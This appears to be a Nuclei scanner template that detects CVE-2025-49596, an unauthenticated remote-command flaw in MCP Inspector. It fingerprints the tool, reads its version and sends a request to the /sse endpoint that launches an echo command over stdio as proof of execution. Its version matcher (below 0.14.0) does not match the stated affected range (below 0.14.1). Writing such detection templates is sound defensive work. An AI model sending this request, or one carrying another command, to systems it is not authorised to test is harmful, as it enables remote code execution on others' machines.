id: CVE-2025-49596

info:
  name: "MCP inspector - Missing Authentication"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    The MCP inspector is a developer tool for testing and debugging MCP servers. Versions of MCP Inspector below
    0.14.1 are vulnerable to remote code execution due to lack of authentication between the Inspector client and
    proxy, allowing unauthenticated requests to launch MCP commands over stdio.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-49596&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=mcp&match=exact
  classification:
    cve-id: CVE-2025-49596
    cwe-id: CWE-306
  metadata:
    verified: false
  tags: cve,cve2025,mcp,anthropic,unauth,passive,vkev,vuln,ai
flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body,"MCP Inspector")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: js
        group: 1
        part: body
        regex:
          - 'src="([^"]+\.js)"'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}{{js}}"

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - compare_versions(version, '< 0.14.0')
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        internal: true
        group: 1
        part: body
        regex:
          - 'const\s+version\s*=\s*"([0-9]+\.[0-9]+\.[0-9]+)'

  - method: GET
    path:
      - "{{BaseURL}}/sse?transportType=stdio&command=echo&args[]=hello-from-brower"

    matchers:
      - type: dsl
        dsl:
          - contains_all(body,"endpoint","/message?sessionId=")
          - status_code == 200
        condition: and

    extractors:
      - type: regex
        name: session_id
        part: body
        group: 1
        regex:

          - '\/message\?sessionId=([a-z0-9-]+)' # Returns: Session ID as proof of execution